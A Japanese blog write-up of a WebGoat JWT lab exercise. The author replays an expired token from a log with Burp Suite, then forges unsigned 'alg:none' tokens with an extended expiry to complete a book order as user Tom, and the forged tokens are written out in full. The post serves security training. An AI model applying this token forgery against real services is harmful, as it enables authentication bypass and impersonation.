Shikata Ga Nai

Private? There is no such things.

WebGOATでJWT tokens⑦を演習してみた

Hello there, ('ω')ノ

 

WebGOATでJWT tokens⑦を選択して。

下記のようなログファイルがあるとのことで。

ログから本を注文する方法を見つけることのこと。

ログの内容から無効なトークンらしきものを発見したので。

 

f:id:ThisIsOne:20200717165614p:plain

 

下記のサイトで検証すると。

 

f:id:ThisIsOne:20200717165530p:plain

 

ちなみにCheckoutボタンを押してもなにも変化せず。

 

f:id:ThisIsOne:20200717170102p:plain

 

Burp Suiteでレスポンス内容を見ると下記のメッセージが。

 "Missing request header 'Authorization' for method parameter of type String"

 

f:id:ThisIsOne:20200717170019p:plain

 

ちなみにリクエストはこんな感じで。

 

f:id:ThisIsOne:20200717170346p:plain

 

Burp SuiteのRepeater機能で下記のリクエストを追加して実行すると。

Authorization: (改行なし)eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q

 

レスポンスは、以下のとおりで。

"output" : "JWT expired at 2018-05-13T13:23:31Z. Current time: 2020-07-17T07:24:10Z, a difference of 68752839106 milliseconds. Allowed clock skew: 0 milliseconds."

 

f:id:ThisIsOne:20200717171017p:plain

 

さっそく、下記のようにトークンを変更して。

{
"alg": "none"
}

 

{
"iat": 1526131411,
"exp": 1526217811,
"admin": "false",
"user": "Tom"
}

 

再度、Responderで確認してみると結果を見てもうまくいけそうなので。

Authorization: eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5NDk3NTI1NiwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==.

 

f:id:ThisIsOne:20200717174434p:plain

 

 実際にインターセプトをONにして、リクエストに追加して実行するとうまくいかず。

下記のメッセージが。 

どうやら有効期限に問題があるようで。

 

 JWTの有効期限は2020-07-17T08:40:56Zでした。

 現在の時刻:2020-07-17T08:42:44Z、108251ミリ秒の差。

 許可されたクロックスキュー:0ミリ秒。

 

f:id:ThisIsOne:20200717174619p:plain

 

下記で計算した結果からexp有効期限の時間に余裕を持たせて。

expの値を変更して。

 

  python -c "import time; print(time.time())"

 

f:id:ThisIsOne:20200717191418p:plain

 

再度、トークンを作成して実行すると。

 

Authorization: eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTU5NDk3NjIyMiwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ==.

 

f:id:ThisIsOne:20200717175918p:plain

 

うまくクリアできた。 

 

f:id:ThisIsOne:20200717175703p:plain

 

Best regards, (^^ゞ